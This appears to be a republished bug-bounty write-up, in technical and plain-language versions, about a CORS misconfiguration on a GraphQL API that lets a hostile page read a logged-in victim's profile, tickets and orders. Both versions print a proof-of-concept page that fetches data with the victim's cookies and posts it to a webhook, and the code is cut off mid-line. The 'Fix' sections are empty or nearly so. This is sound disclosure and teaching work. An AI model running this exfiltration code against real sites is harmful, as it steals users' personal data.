Skip to content
CORS Write-up Intermediate

**How a CORS Misconfiguration Exposed Sensitive Data Across Multiple GraphQL Queries**

The GraphQL API reflected any supplied Origin header in its CORS response while also allowing credentials, so a malicious site could make authenticated cross-origin requests using the victim's cookie-based JWT. The attacker could then read sensitive account data such as profile details, tickets and orders from multiple GraphQL queries.

yOnly Follow

Published on medium.com

Cybersecurity

yOnly, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

## Context

The target was an application in a private bug bounty program. The researcher does not name the program, the product or the company, and refers to the host only as `sub.example.com`. What matters for this write-up is the application's API design: it exposes a GraphQL endpoint at `https://sub.example.com/graph`, and the client sends queries to it as GET requests with the query in a `q` parameter, for example `https://sub.example.com/graph?q=<graphql-query-for-profile>`. The application exposes GraphQL queries for a member profile, support tickets (a single ticket and a list), user orders and an onboarding configuration. Those GraphQL operations normally return the signed-in user's own data to the application's own front end.

Authentication is the second half of the picture. The application uses a JWT, and the token appears in two places: in a cookie, and in an `Authorization` header on some requests. The report describes the two paths as:

```text
Cookie → JWT
Header → Authorization: Bearer <JWT>
```

That dual arrangement is what turns an ordinary-looking CORS header into a cross-origin data leak, because a browser can be made to send a cookie to the API's origin, but it cannot be made to attach an `Authorization` header carrying a token it does not have.

## Setup

The researcher created an account, logged in, and inspected the HTTP requests the application made. No special tooling is described beyond the browser's developer tools and a local web server used to host the proof of concept on a different origin. The PoC sends the collected responses to a webhook for verification; the report shows the webhook URL as `https://webhook.site/<webhook-id>`.

The preconditions for the attack are the ones the report demonstrates: a victim with an active session (the JWT present in the cookie), a browser that will send that cookie on a cross-origin request, and an attacker-controlled page the victim visits.

## Finding it

While reading the requests, the researcher noticed the `Origin` header being sent to the API:

```http
Origin: https://example.com
```

An `Origin` header on an API request points at CORS, so the next step was to look at how the server answered cross-origin requests. The report first recaps the mechanism: browsers enforce the Same-Origin Policy, and CORS lets a server state which origins may read a response, for example:

```http
Access-Control-Allow-Origin: https://app.example.com
```

When credentials are involved the server may also return:

```http
Access-Control-Allow-Credentials: true
```

The dangerous combination is a server that trusts origins too broadly, or reflects whatever `Origin` it is given, while also allowing credentials. That is what the researcher set out to test.

## Exploitation

### Step 1: send an arbitrary Origin

The first test was a request carrying an origin the application has no reason to trust:

```http
Origin: https://evil-site.com
```

The question was whether that value came back in the response. It did:

```http
Access-Control-Allow-Origin: https://evil-site.com
```

On its own this is a reflected origin. The second header made it serious:

```http
Access-Control-Allow-Credentials: true
```

The server was not only reflecting an arbitrary origin, it was also allowing credentialed cross-origin requests. The report shows the response with both headers:


{{media:1}}


*CORS response showing the reflected Origin and Allow-Credentials headers*

At this point the configuration was confirmed as suspicious, but the important question was still open: what could actually be read through it?

### Step 2: map the GraphQL operations

A bad security header by itself does not necessarily mean high impact, so the researcher moved from the header to the data. Using the same authentication context, several GraphQL queries were checked. The report lists the categories involved:

- Current member/profile information
- Ticket details
- Ticket lists
- User orders
- Onboarding configuration

Responses to these queries could contain personal information, contact details, support conversations, order-related information and other account data. The finding was no longer "the server has a bad CORS configuration" but "an attacker-controlled origin may be able to read sensitive responses from an authenticated session". That still had to be proven.

### Step 3: work out whether the browser would authenticate the request

This is where the JWT handling mattered. If authentication depended entirely on an `Authorization` header:

```http
Authorization: Bearer <JWT>
```

then an attacker-controlled page could neither read that header from the victim's session nor make the browser attach the bearer token to a request it initiates. A vulnerable CORS policy alone would not be enough.

Because the application also stored the JWT in a cookie, the scenario changed. Rather than trying to steal the token first, the researcher could test whether the browser would use the existing session when making a credentialed cross-origin request. The chain to prove was:

```text
Victim is logged in
        ↓
Victim visits attacker-controlled page
        ↓
JavaScript sends cross-origin request
        ↓
Browser sends eligible session cookie
        ↓
Server processes authenticated request
        ↓
Sensitive GraphQL response is returned
        ↓
Attacker-controlled page can read the response
```

### Step 4: build a multi-query PoC

The PoC is an HTML page hosted on another origin with a local web server. Its purpose is to reproduce the attack as closely as possible: use the victim's existing session, make cross-origin requests to the GraphQL API, read the responses, and send the results to a controlled webhook for verification. It handles several GraphQL queries at once so that the issue is shown not to be limited to a single piece of data.

```html
<!doctype html><html lang="en">  <head>    <meta charset="UTF-8" />    <meta name="viewport" content="width=device-width, initial-scale=1.0" />    <title>CORS Exploit PoC - (Multi-Endpoint)</title>    <style>      body {        font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;        max-width: 1400px;        margin: 20px auto;        padding: 20px;        background: #f0f2f5;      }      h1 {        color: #1a1a2e;      }      code {        background: #e0e0e0;        padding: 2px 6px;        border-radius: 4px;      }      .status {        padding: 10px;        margin: 10px 0;        border-radius: 5px;      }      .success {        background: #d4edda;        color: #155724;        border: 1px solid #c3e6cb;      }      .error {        background: #f8d7da;        color: #721c24;        border: 1px solid #f5c6cb;      }      .info {        background: #d1ecf1;        color: #0c5460;        border: 1px solid #bee5eb;      }      .endpoint-card {        background: white;        margin: 15px 0;        padding: 15px;        border-radius: 8px;        box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);      }      .endpoint-title {        font-weight: bold;        padding: 8px;        margin-bottom: 10px;        border-radius: 5px;      }      pre {        background: #f4f4f4;        padding: 10px;        overflow: auto;        max-height: 300px;        font-size: 11px;        border-radius: 5px;      }      hr {        margin: 20px 0;      }    </style>  </head>  <body>    <h1>🔓 CORS Vulnerability Exploit</h1>    <p>      Exploiting misconfigured CORS on      <code>sub.example.com</code> to steal user data from      <strong>multiple endpoints simultaneously</strong>.    </p>    <div id="main-status" class="status info">      ⏳ Initializing exploit... Sending requests to all endpoints...    </div>    <div id="results"></div>    <script>      // --- Configuration ---      const YOUR_WEBHOOK_URL = "https://webhook.site/<webhook-id>";      // List all endpoints with descriptive names      const ENDPOINTS = [        {          name: "Current Member (Profile Data)",          url: "https://sub.example.com/graph?q=<graphql-query-for-profile>",        },        {          name: "Ticket Details (Specific Ticket)",          url: "https://sub.example.com/graph?q=<graphql-query-for-ticket-details>",        },        {          name: "All Tickets List (Paginated)",          url: "https://sub.example.com/graph?q=<graphql-query-for-ticket-list>",        },        {          name: "User Onboarding Configuration",          url: "https://sub.example.com/graph?q=<graphql-query-for-user-onboarding-configuration>",        },        {          name: "User Orders List",          url: "https://sub.example.com/graph?q=<graphql-query-for-user-orders-list>",        },      ];      const resultsDiv = document.getElementById("results");      const mainStatusDiv = document.getElementById("main-status");      let completedRequests = 0;      let allResults = [];      async function fetchEndpoint(endpoint, index) {        const cardDiv = document.createElement("div");        cardDiv.className = "endpoint-card";        cardDiv.id = `endpoint-${index}`;        cardDiv.innerHTML = `          <div class="endpoint-title info">📡 ${endpoint.name}</div>          <div class="status" id="status-${index}">⏳ Fetching...</div>          <pre id="result-${index}" style="display:none;"></pre>        `;        resultsDiv.appendChild(cardDiv);        const statusSpan = document.getElementById(`status-${index}`);        const resultPre = document.getElementById(`result-${index}`);        try {          statusSpan.innerText = "📡 Sending request...";          statusSpan.className = "status info";          const response = await fetch(endpoint.url, {            method: "GET",            credentials: "include",            headers: { Accept: "application/json" },          });          if (!response.ok) {            throw new Error(`HTTP ${response.status}: ${response.statusText}`);          }          const data = await response.json();          statusSpan.innerText = "�
 Success! Data retrieved.";          statusSpan.className = "status success";          resultPre.style.display = "block";          resultPre.innerText = JSON.stringify(data, null, 2);          return {            endpoint: endpoint.name,            url: endpoint.url,            success: true,            data: data,            status: response.status,          };        } catch (error) {          statusSpan.innerText = `❌ Failed: ${error.message}`;          statusSpan.className = "status error";          resultPre.style.display = "block";          resultPre.innerText = `Error: ${error.message}\n\nMake sure you are logged into sub.example.com in this browser.`;          return {            endpoint: endpoint.name,            url: endpoint.url,            success: false,            error: error.message,            status: error.message.includes("HTTP")              ? error.message.match(/\d+/)?.[0]              : "unknown",          };        }      }      async function sendToWebhook(allData) {        try {          const webhookResponse = await fetch(YOUR_WEBHOOK_URL, {            method: "POST",            mode: "no-cors",            headers: { "Content-Type": "application/json" },            body: JSON.stringify({              timestamp: new Date().toISOString(),              total_endpoints: allData.length,              successful: allData.filter((r) => r.success).length,              failed: allData.filter((r) => !r.success).length,              results: allData,            }),          });          console.log("Data sent to webhook (no-cors mode)");        } catch (e) {          console.error("Failed to send to webhook:", e);        }      }      async function runExploit() {        allResults = [];        completedRequests = 0;        const promises = ENDPOINTS.map((endpoint, idx) =>          fetchEndpoint(endpoint, idx).then((result) => {            allResults.push(result
```

The important parts:

1. `ENDPOINTS` holds one URL per GraphQL operation, all on `https://sub.example.com/graph` with the query in the `q` parameter. The report replaces the actual queries with placeholders such as `<graphql-query-for-profile>`.
2. `fetch(endpoint.url, { method: "GET", credentials: "include", headers: { Accept: "application/json" } })` is the core of the attack. `credentials: "include"` is what allows the browser to make the cross-origin request using the existing session context, so the cookie carrying the JWT is sent to the API.
3. Each response is parsed with `response.json()` and written into the page. Reading the body only works because the server's CORS headers authorise the attacker's origin.
4. `sendToWebhook` posts the collected results to the webhook with `mode: "no-cors"`, which lets the page send the data without needing to read the webhook's response.
5. `window.onload = runExploit` fires all requests as soon as the page loads, so the victim only has to open it.

### Step 5: run it against a live session

The researcher logged in, kept the session active, and opened the PoC page in a new tab. The cross-origin request was accepted and authenticated using the existing session, and the response was readable from the attacker's origin. The GraphQL response contained sensitive account information belonging to the authenticated user:


{{media:2}}


*sensitive GraphQL response showing redacted member/profile data*

The same behaviour was demonstrated against several other GraphQL queries covering different categories of account information. With that, the issue was no longer a configuration problem: there was a working proof of concept for cross-origin access to authenticated sensitive data.

## Root cause

The server reflected an arbitrary `Origin` value into `Access-Control-Allow-Origin` and paired it with `Access-Control-Allow-Credentials: true`. That combination tells the browser that any origin may read credentialed responses, which defeats the Same-Origin Policy for this API. The report does not show the server-side code, so the exact implementation is not stated.

The second half of the root cause is the authentication design. Because the JWT was stored in a cookie, the browser attaches it automatically to requests to `sub.example.com`, including requests initiated by another origin. Had authentication relied only on the `Authorization` header, the attacker's page could not have produced an authenticated request, and the CORS flaw would have had far less impact.

## Impact

An attacker who gets a logged-in victim to visit a page they control can read the victim's data from the GraphQL API across multiple operations: current member/profile information, ticket details, ticket lists, user orders and onboarding configuration. The report says these responses could contain personal information, contact details, support conversations, order-related information and other account data. The attacker does not need to steal the JWT first; the victim's browser supplies the session.

The researcher rated the report **High** on the demonstrated impact. The program later adjusted the severity to **Medium (6.5)**. Scope remained **Unchanged**, since the attacker is effectively borrowing the victim's existing authority, and Integrity remained **None**, because the PoC demonstrated unauthorised access to data, not modification. The report was accepted and rewarded with a **$750** bounty: a **$400** base reward plus a **$350** bonus for the quality and clarity of the report.

## Fix

## Variants to test

1. **Reflected origin with credentials on other APIs.** Send `Origin: https://evil-site.com` to any authenticated endpoint and look for the same value in `Access-Control-Allow-Origin` together with `Access-Control-Allow-Credentials: true`. A positive result is both headers present and the response body readable from a page on another origin.
2. **Cookie-backed sessions behind GraphQL.** Where a JWT or session token lives in a cookie, repeat the multi-query PoC with `credentials: "include"`. A positive result is authenticated data returned for operations the victim did not initiate.
3. **Null or suffix origins.** Try `Origin: null` and origins that merely end with the trusted domain. A positive result is any of them reflected in `Access-Control-Allow-Origin` with credentials allowed.
4. **Breadth of the GraphQL schema.** Once one query is readable cross-origin, enumerate other operations (profile, tickets, orders, configuration) as the researcher did. A positive result is sensitive data from more than one operation, which strengthens the impact case.
5. **Preflight behaviour.** Check whether `OPTIONS` responses also reflect the origin and allow credentials. A positive result means non-simple requests, such as those with a JSON content type, are equally exposed.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

## What happened, in plain words

A security researcher was testing a website that was part of a private bug bounty program. A bug bounty program is a scheme where a company invites independent testers to look for security problems in its systems and pays them for reporting what they find. The researcher does not name the company, the product or the program, and calls the server `sub.example.com` throughout.

The short version of what they found: the website's server was willing to hand a logged-in user's private data to any other website that asked for it, as long as the user's browser was the one making the request. The responses could contain profile details, support tickets, orders and account settings. The researcher built a small web page to prove it, showed that the page could read the data, and reported it. The company accepted the report and paid a $750 bounty.

The rest of this article walks through the same steps the researcher took, in the same order, explaining each idea from scratch along the way.

## The starting point: an application with an API

Before the security part, you need two ideas: what an API is, and what GraphQL is.

An **API** (Application Programming Interface) is the part of a website that serves data rather than web pages. Think of a restaurant: the dining room is the website you see, the kitchen is the database where the data lives, and the waiter is the API. Your browser asks the waiter for something, the waiter goes to the kitchen, and brings back exactly what was ordered. The browser never walks into the kitchen itself.

**GraphQL** is a particular style of API. With a traditional API, the server decides what a request returns: you ask for a user and you get back every field the server chose to include. With GraphQL, the client writes a query describing exactly which fields it wants, and the server returns only those. It is like ordering at a restaurant where you can specify "the burger, but no onions, and only the top bun".

The application in this report exposes a GraphQL endpoint at `https://sub.example.com/graph`. The front end sends queries to it as ordinary GET requests, with the query text placed in a parameter called `q`. A URL of that shape looks like this:

```text
https://sub.example.com/graph?q=<graphql-query-for-profile>
```

Reading that URL from left to right: `https://sub.example.com` is the server, `/graph` is the address of the GraphQL endpoint on that server, and `?q=` starts the query string, where the parameter named `q` carries the GraphQL query. The report replaces the real query text with a placeholder such as `<graphql-query-for-profile>` so that the exact queries are not published.

The application has several signed-in areas, each backed by its own GraphQL operation:

- the current member's profile information
- a single support ticket's details
- a paginated list of tickets (paginated means the list is delivered in pages rather than all at once)
- the user's orders
- an onboarding configuration (the settings a new user sees while getting set up)

Normally these operations return the signed-in user's own data to the application's own front end. That is the intended behaviour: you log in, and the site shows you your own profile, your own tickets, your own orders.

## Cookies, tokens and the Origin header

The researcher created an account, logged in, and watched the requests the application made. Two things stood out.

First, the application used a **JWT** (JSON Web Token) for authentication. A token is a small piece of data that proves who you are, a bit like a wristband at an event: you show it once at the door, and afterwards you can re-enter without queuing again. A JWT is a specific, standard format for such a token.

Second, the token appeared in two different places. It was stored in a **cookie**, and it was also sent in an `Authorization` header on some requests. A cookie is a small piece of data that a website asks your browser to store and to send back automatically on every later request to that same site. A header is a line of extra information attached to a request or a response, such as what format the browser expects back. The report describes the two paths like this:

```text
Cookie → JWT
Header → Authorization: Bearer <JWT>
```

In plain words: the token could travel either inside a cookie, which the browser attaches by itself, or inside an `Authorization` header, which the application's own JavaScript has to add deliberately. The word `Bearer` in `Authorization: Bearer <JWT>` is just the label that says "the thing after this word is the token".

That difference matters enormously later, so keep it in mind: a cookie is sent automatically by the browser, a header is not.

While reading the requests, the researcher also noticed an `Origin` header being sent to the API:

```http
Origin: https://example.com
```

The `Origin` header tells the server which website the request came from. When your browser loads a page from one site and that page's code makes a request to a different site, the browser adds an `Origin` header naming the page's site, so the server can decide whether to answer. Seeing this header on an API request is a strong hint that the server has rules about which websites may talk to it, and those rules are called CORS.

## A quick look at CORS

**CORS** stands for Cross-Origin Resource Sharing. To understand it, you first need the **Same-Origin Policy**.

An **origin** is the combination of protocol, host and port: `https://app.example.com` is one origin, `https://evil-site.com` is another. The Same-Origin Policy is a rule built into every browser: JavaScript running on one origin is not allowed to read responses from another origin. It is a locked door between websites, and it exists so that a page you visit cannot quietly read your bank's data from another tab.

CORS is the mechanism by which a server can unlock that door for specific origins. The server adds a response header saying which origin is allowed to read the response:

```http
Access-Control-Allow-Origin: https://app.example.com
```

That line tells the browser: the page at `https://app.example.com` is allowed to read this response. Any other origin that tries to read it is refused by the browser.

When login is involved, a second header comes into play:

```http
Access-Control-Allow-Credentials: true
```

**Credentials** here means the things that identify you: cookies, and other authentication data. This header tells the browser that a cross-origin request may include those credentials, and that the response may be read by the requesting page. Without it, a cross-origin request is treated as anonymous even if the browser happens to hold a session cookie for the target site.

The dangerous combination is a server that trusts origins too broadly, or simply copies whatever `Origin` value it receives into `Access-Control-Allow-Origin`, while also sending `Access-Control-Allow-Credentials: true`. In everyday terms: a receptionist who lets anyone through the door as long as they say a name, and who also accepts the visitor's own membership card as proof of identity. That is what the researcher set out to test.

## Testing the misconfiguration

### Step 1: send an origin the site should not trust

The first test was a request carrying an origin the application has no reason to trust:

```http
Origin: https://evil-site.com
```

This is a single header line. The researcher is pretending to be a page hosted at `https://evil-site.com` and asking the API to answer. The question was simple: would the server copy that value back into its response?

It did:

```http
Access-Control-Allow-Origin: https://evil-site.com
```

On its own, this is a **reflected origin**: the server echoes back whatever origin it is given. That is already a bad sign, because it means the server is not checking a list of trusted sites. But the second header is what made it serious:

```http
Access-Control-Allow-Credentials: true
```

Put together, the two headers say: any origin at all may read this response, and the response may include the visitor's credentials. The server was not only reflecting an arbitrary origin, it was also allowing credentialed cross-origin requests. The report shows the response with both headers:


{{media:1}}


*CORS response showing the reflected Origin and Allow-Credentials headers*

At this point the configuration was confirmed as suspicious. But a bad header by itself does not tell you how much damage it can do. The important question was still open: what could actually be read through it?

### Step 2: find out what the API returns

A bad security header by itself does not necessarily mean high impact. Impact means the real-world harm an attacker could cause. A door with a weak lock is a problem; a door with a weak lock in front of a room full of passports is a much bigger problem.

So the researcher moved from the header to the data. Using the same logged-in session, several GraphQL queries were checked. The report lists the categories involved:

- Current member/profile information
- Ticket details
- Ticket lists
- User orders
- Onboarding configuration

Responses to these queries could contain personal information, contact details, support conversations, order-related information and other account data. The finding was no longer "the server has a bad CORS configuration" but "an attacker-controlled origin may be able to read sensitive responses from an authenticated session". That still had to be proven, because "may be able to" is not the same as "can".

### Step 3: work out whether the browser would authenticate the request

This is where the JWT handling mattered, and it is the cleverest part of the whole finding.

If authentication depended entirely on an `Authorization` header:

```http
Authorization: Bearer <JWT>
```

then an attacker-controlled page could not do much. It cannot read that header from the victim's session, because the browser does not expose another site's request headers to JavaScript. And it cannot make the browser attach a bearer token it does not have. A vulnerable CORS policy alone would not be enough, because the request would arrive at the server without any proof of who the user is.

But the application also stored the JWT in a cookie. Cookies are sent automatically by the browser to the site they belong to, on every request, including requests started by a page from another origin. That changed the scenario completely. Rather than trying to steal the token first, the researcher could test whether the browser would use the existing session when making a credentialed cross-origin request.

The chain to prove was:

```text
Victim is logged in
        ↓
Victim visits attacker-controlled page
        ↓
JavaScript sends cross-origin request
        ↓
Browser sends eligible session cookie
        ↓
Server processes authenticated request
        ↓
Sensitive GraphQL response is returned
        ↓
Attacker-controlled page can read the response
```

Read it as a story. The victim is already logged in, so their browser holds the session cookie. The victim then visits a page the attacker controls. That page runs JavaScript, which sends a request to the API on `sub.example.com`. Because the request is cross-origin, the browser adds the `Origin` header and, because the request is made with credentials, also attaches the session cookie. The server sees a valid session and answers with the user's data. Normally the browser would then refuse to let the attacker's page read that answer, but the broken CORS headers tell the browser it is allowed. The attacker's page reads the data.

### Step 4: build a multi-query proof of concept

A **proof of concept** (PoC) is a small, working demonstration that a vulnerability is real rather than theoretical. The researcher wrote an HTML page and hosted it on another origin using a local web server. A local web server is a program on your own computer that serves web pages to your browser, so the page can live at a different address from the target site and therefore count as a different origin.

The purpose of the PoC is to reproduce the attack as closely as possible: use the victim's existing session, make cross-origin requests to the GraphQL API, read the responses, and send the results to a controlled webhook for verification. A **webhook** is simply a URL that accepts incoming data and records it, useful for proving that data left the victim's browser. The report shows the webhook URL as `https://webhook.site/<webhook-id>`, with the identifier replaced by a placeholder.

The PoC handles several GraphQL queries at once, so that the issue is shown not to be limited to a single piece of data. Here is the full page:

```html
<!doctype html><html lang="en">  <head>    <meta charset="UTF-8" />    <meta name="viewport" content="width=device-width, initial-scale=1.0" />    <title>CORS Exploit PoC - (Multi-Endpoint)</title>    <style>      body {        font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;        max-width: 1400px;        margin: 20px auto;        padding: 20px;        background: #f0f2f5;      }      h1 {        color: #1a1a2e;      }      code {        background: #e0e0e0;        padding: 2px 6px;        border-radius: 4px;      }      .status {        padding: 10px;        margin: 10px 0;        border-radius: 5px;      }      .success {        background: #d4edda;        color: #155724;        border: 1px solid #c3e6cb;      }      .error {        background: #f8d7da;        color: #721c24;        border: 1px solid #f5c6cb;      }      .info {        background: #d1ecf1;        color: #0c5460;        border: 1px solid #bee5eb;      }      .endpoint-card {        background: white;        margin: 15px 0;        padding: 15px;        border-radius: 8px;        box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);      }      .endpoint-title {        font-weight: bold;        padding: 8px;        margin-bottom: 10px;        border-radius: 5px;      }      pre {        background: #f4f4f4;        padding: 10px;        overflow: auto;        max-height: 300px;        font-size: 11px;        border-radius: 5px;      }      hr {        margin: 20px 0;      }    </style>  </head>  <body>    <h1>🔓 CORS Vulnerability Exploit</h1>    <p>      Exploiting misconfigured CORS on      <code>sub.example.com</code> to steal user data from      <strong>multiple endpoints simultaneously</strong>.    </p>    <div id="main-status" class="status info">      ⏳ Initializing exploit... Sending requests to all endpoints...    </div>    <div id="results"></div>    <script>      // --- Configuration ---      const YOUR_WEBHOOK_URL = "https://webhook.site/<webhook-id>";      // List all endpoints with descriptive names      const ENDPOINTS = [        {          name: "Current Member (Profile Data)",          url: "https://sub.example.com/graph?q=<graphql-query-for-profile>",        },        {          name: "Ticket Details (Specific Ticket)",          url: "https://sub.example.com/graph?q=<graphql-query-for-ticket-details>",        },        {          name: "All Tickets List (Paginated)",          url: "https://sub.example.com/graph?q=<graphql-query-for-ticket-list>",        },        {          name: "User Onboarding Configuration",          url: "https://sub.example.com/graph?q=<graphql-query-for-user-onboarding-configuration>",        },        {          name: "User Orders List",          url: "https://sub.example.com/graph?q=<graphql-query-for-user-orders-list>",        },      ];      const resultsDiv = document.getElementById("results");      const mainStatusDiv = document.getElementById("main-status");      let completedRequests = 0;      let allResults = [];      async function fetchEndpoint(endpoint, index) {        const cardDiv = document.createElement("div");        cardDiv.className = "endpoint-card";        cardDiv.id = `endpoint-${index}`;        cardDiv.innerHTML = `          <div class="endpoint-title info">📡 ${endpoint.name}</div>          <div class="status" id="status-${index}">⏳ Fetching...</div>          <pre id="result-${index}" style="display:none;"></pre>        `;        resultsDiv.appendChild(cardDiv);        const statusSpan = document.getElementById(`status-${index}`);        const resultPre = document.getElementById(`result-${index}`);        try {          statusSpan.innerText = "📡 Sending request...";          statusSpan.className = "status info";          const response = await fetch(endpoint.url, {            method: "GET",            credentials: "include",            headers: { Accept: "application/json" },          });          if (!response.ok) {            throw new Error(`HTTP ${response.status}: ${response.statusText}`);          }          const data = await response.json();          statusSpan.innerText = "�
 Success! Data retrieved.";          statusSpan.className = "status success";          resultPre.style.display = "block";          resultPre.innerText = JSON.stringify(data, null, 2);          return {            endpoint: endpoint.name,            url: endpoint.url,            success: true,            data: data,            status: response.status,          };        } catch (error) {          statusSpan.innerText = `❌ Failed: ${error.message}`;          statusSpan.className = "status error";          resultPre.style.display = "block";          resultPre.innerText = `Error: ${error.message}\n\nMake sure you are logged into sub.example.com in this browser.`;          return {            endpoint: endpoint.name,            url: endpoint.url,            success: false,            error: error.message,            status: error.message.includes("HTTP")              ? error.message.match(/\d+/)?.[0]              : "unknown",          };        }      }      async function sendToWebhook(allData) {        try {          const webhookResponse = await fetch(YOUR_WEBHOOK_URL, {            method: "POST",            mode: "no-cors",            headers: { "Content-Type": "application/json" },            body: JSON.stringify({              timestamp: new Date().toISOString(),              total_endpoints: allData.length,              successful: allData.filter((r) => r.success).length,              failed: allData.filter((r) => !r.success).length,              results: allData,            }),          });          console.log("Data sent to webhook (no-cors mode)");        } catch (e) {          console.error("Failed to send to webhook:", e);        }      }      async function runExploit() {        allResults = [];        completedRequests = 0;        const promises = ENDPOINTS.map((endpoint, idx) =>          fetchEndpoint(endpoint, idx).then((result) => {            allResults.push(result
```

That is a lot of text, but most of it is decoration. Here is what each part does, in plain words.

1. The `<head>` and `<style>` sections only control how the page looks: fonts, colours, boxes. None of it affects the attack. You can ignore them entirely.
2. The `<body>` contains a heading, a short paragraph naming `sub.example.com`, a status bar with the id `main-status`, and an empty container with the id `results` where each result will be displayed.
3. The `<script>` block is the actual attack. It runs in the victim's browser, on the attacker's origin.
4. `const YOUR_WEBHOOK_URL = "https://webhook.site/<webhook-id>";` is the address where the stolen data will be sent. The identifier is a placeholder in the published report.
5. `ENDPOINTS` is a list of five objects, one per GraphQL operation. Each has a friendly `name` and a `url`. All five URLs point at `https://sub.example.com/graph` and put the query in the `q` parameter. The report replaces the real queries with placeholders such as `<graphql-query-for-profile>`, so the exact query text is not published.
6. `resultsDiv` and `mainStatusDiv` are handles to the two page elements, so the script can write progress into them.
7. `completedRequests` and `allResults` are counters and storage: how many requests have finished, and what came back.
8. `fetchEndpoint(endpoint, index)` handles one operation. It creates a card on the page, with a status line and a hidden box for the result. Then it calls `fetch(endpoint.url, { method: "GET", credentials: "include", headers: { Accept: "application/json" } })`. This is the core of the attack. `method: "GET"` means a simple read request. `credentials: "include"` is the crucial setting: it tells the browser to include the victim's cookies on this cross-origin request, so the session cookie carrying the JWT is sent to the API. `headers: { Accept: "application/json" }` just says "please answer in JSON", JSON being a common text format for structured data.
9. If the server answers with an error status, the code throws an error and shows it on the card, with a hint to make sure you are logged into `sub.example.com` in this browser. That hint is there because the attack only works when the victim has an active session.
10. If the answer is fine, `response.json()` turns the response body into a JavaScript object. Writing that object into the page only works because the server's CORS headers authorise the attacker's origin; without them, the browser would block the read even though the data arrived.
11. `sendToWebhook(allData)` posts the collected results to the webhook with `mode: "no-cors"`. That mode lets the page send data to another origin without needing to read the reply, which is exactly what is needed here: the attacker only wants the data to arrive, not to read a response from the webhook.
12. `runExploit()` starts all five requests at once, updates the progress bar as each one finishes, and then sends everything to the webhook.
13. `window.onload = runExploit;` makes all of this happen automatically as soon as the page loads. The victim does not have to click anything; opening the page is enough.

### Step 5: run it against a live session

The researcher logged in, kept the session active, and opened the PoC page in a new tab. The cross-origin request was accepted and authenticated using the existing session, and the response was readable from the attacker's origin. The GraphQL response contained sensitive account information belonging to the authenticated user:


{{media:2}}


*sensitive GraphQL response showing redacted member/profile data*

The same behaviour was demonstrated against several other GraphQL queries covering different categories of account information. With that, the issue was no longer a configuration problem: there was a working proof of concept for cross-origin access to authenticated sensitive data.

## Why GraphQL made this more interesting

GraphQL lets a client ask for specific fields instead of receiving a fixed response. That is powerful, but it also means that testing a GraphQL API should go beyond asking whether the endpoint is reachable. The researcher wanted to know:

- What queries are available?
- What data can they return?
- What authentication do they require?
- What authorisation is enforced?
- Can the responses be accessed cross-origin?

In this case, multiple GraphQL queries returned information belonging to the authenticated user. A single CORS misconfiguration therefore had an impact across several areas of the application's API, rather than being limited to one harmless response. In everyday terms: one badly fitted lock, but on a corridor with many doors behind it.

## Reporting the finding

After confirming the behaviour and documenting the affected GraphQL queries, the researcher submitted the report and rated it as **High** based on the demonstrated impact. Severity ratings are the labels used in this field to say how serious a finding is; High sits near the top of the usual scale.

The program later adjusted the severity from **High to Medium (6.5)**. The number in brackets is a CVSS score, a standard 0 to 10 scale for measuring severity, where 6.5 is a mid-range value.

The **Scope** remained **Unchanged**, since the attacker was effectively borrowing the victim's existing authority rather than breaking out of it. **Integrity** remained **None**, because the PoC demonstrated unauthorised access to data, not modification of it. Scope and Integrity are two of the standard CVSS measures: scope asks whether the attacker reaches beyond the component they attacked, and integrity asks whether data can be changed.

The report was accepted and rewarded with a **$750 bounty**: a **$400 base reward** plus a **$350 bonus** for the quality and clarity of the report.

## What the researcher learned

**1. Don't stop at the header.** Seeing a reflected origin does not automatically tell you the final impact. The real goal is to follow the chain:

```text
Misconfiguration
      ↓
Cross-origin request
      ↓
Authentication
      ↓
Readable response
      ↓
Sensitive data
      ↓
Practical impact
```

Each arrow is a question you have to answer. Is the configuration really broken? Can a request actually be made? Will the browser authenticate it? Can the attacker read the answer? Is the answer sensitive? Does any of it matter in practice? The further you can move down that chain, the stronger the finding becomes.

**2. Understand the authentication mechanism.** This was one of the biggest lessons. Seeing a JWT in an `Authorization` header and stopping there would have made the attack scenario look much harder. But once the researcher noticed that the JWT was also present in a cookie, the situation changed. Understanding where authentication lives and how the browser handles it can make a huge difference when testing web vulnerabilities.

**3. Look beyond the first affected query.** Finding one CORS issue is a good starting point. But after confirming the behaviour, the researcher checked whether the same configuration affected other GraphQL operations. That is how the finding moved from one suspicious response to multiple categories of sensitive data.

**4. Impact is what makes the difference.** There is a big difference between saying "the application reflects an arbitrary Origin header" and saying "an attacker-controlled origin can use an authenticated victim session to read sensitive GraphQL responses". The second statement explains what an attacker can actually achieve.

## Root cause

The server reflected an arbitrary `Origin` value into `Access-Control-Allow-Origin` and paired it with `Access-Control-Allow-Credentials: true`. That combination tells the browser that any origin may read credentialed responses, which defeats the Same-Origin Policy for this API. The report does not show the server-side code, so the exact implementation is not stated.

The second half of the root cause is the authentication design. Because the JWT was stored in a cookie, the browser attaches it automatically to requests to `sub.example.com`, including requests initiated by another origin. Had authentication relied only on the `Authorization` header, the attacker's page could not have produced an authenticated request, and the CORS flaw would have had far less impact. `SameSite` is a cookie setting that tells the browser when to send the cookie on cross-site requests; a strict setting would have stopped this attack.

## Impact

An attacker who gets a logged-in victim to visit a page they control can read the victim's data from the GraphQL API across multiple operations: current member/profile information, ticket details, ticket lists, user orders and onboarding configuration. The report says these responses could contain personal information, contact details, support conversations, order-related information and other account data. The attacker does not need to steal the JWT first; the victim's browser supplies the session.

## Fix

  An allowlist is a fixed list of names that are permitted, like a guest list at a door.

## Variants to test

If you want to look for the same class of bug yourself, these are the variations worth trying. Each one lists what a positive result looks like.

1. **Reflected origin with credentials on other APIs.** Send `Origin: https://evil-site.com` to any authenticated endpoint and look for the same value in `Access-Control-Allow-Origin` together with `Access-Control-Allow-Credentials: true`. A positive result is both headers present and the response body readable from a page on another origin.
2. **Cookie-backed sessions behind GraphQL.** Where a JWT or session token lives in a cookie, repeat the multi-query PoC with `credentials: "include"`. A positive result is authenticated data returned for operations the victim did not initiate.
